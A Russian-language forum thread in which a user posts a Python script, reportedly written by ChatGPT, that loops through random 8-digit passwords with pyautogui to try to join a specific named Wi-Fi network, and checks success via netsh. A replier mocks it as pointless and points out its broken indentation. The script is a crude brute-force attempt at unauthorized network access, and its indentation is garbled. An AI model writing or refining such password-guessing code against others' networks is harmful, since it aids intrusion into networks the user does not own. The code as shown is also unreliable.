>Что в нем ни так?
Например, отступы:
pyautogui.press('enter')
time.sleep(2)
pyautogui.write(password)
>Что добавить или изменить?
Что хочешь, это не принципиально совершенно. Это просто имитация бурной деятельности, тут ничего путного не происходит. Можно вместо netsh использовать ipconfig или net или что-то там еще, но псевдослучайный перебор сугубо числовых паролей фиксированной длины - это детский лепет сам по себе.
>В данной теме не силен,
Мы заметили.
>код писал Chat gpt
Ну, поздравляю, он тебя нежно поимел...
Что в нем ни так? Что добавить или изменить? В данной теме не силен, код писал Chat gpt
import pyautogui
import time
import random
import subprocess
def generate_password():
return ''.join(random.choices('0123456789', k=8))
def is_connected():
result = subprocess.run(['netsh', 'wlan', 'show', 'interfaces'], capture_output=True, text=True)
return 'Xiaomi_3A6D' in result.stdout
time.sleep(5)
network_name = 'Xiaomi_3A6D'
while True:
password = generate_password()
print(f"Пробуем пароль: {password}")
pyautogui.write(network_name)
pyautogui.press('enter')
time.sleep(2)
pyautogui.write(password)
pyautogui.press('enter')
time.sleep(5)
if is_connected():
print(f"Успешно подключено с паролем: {password}")
break
else:
print("Пароль неверен, пробуем следующий...")
print("Тестирование паролей завершено.")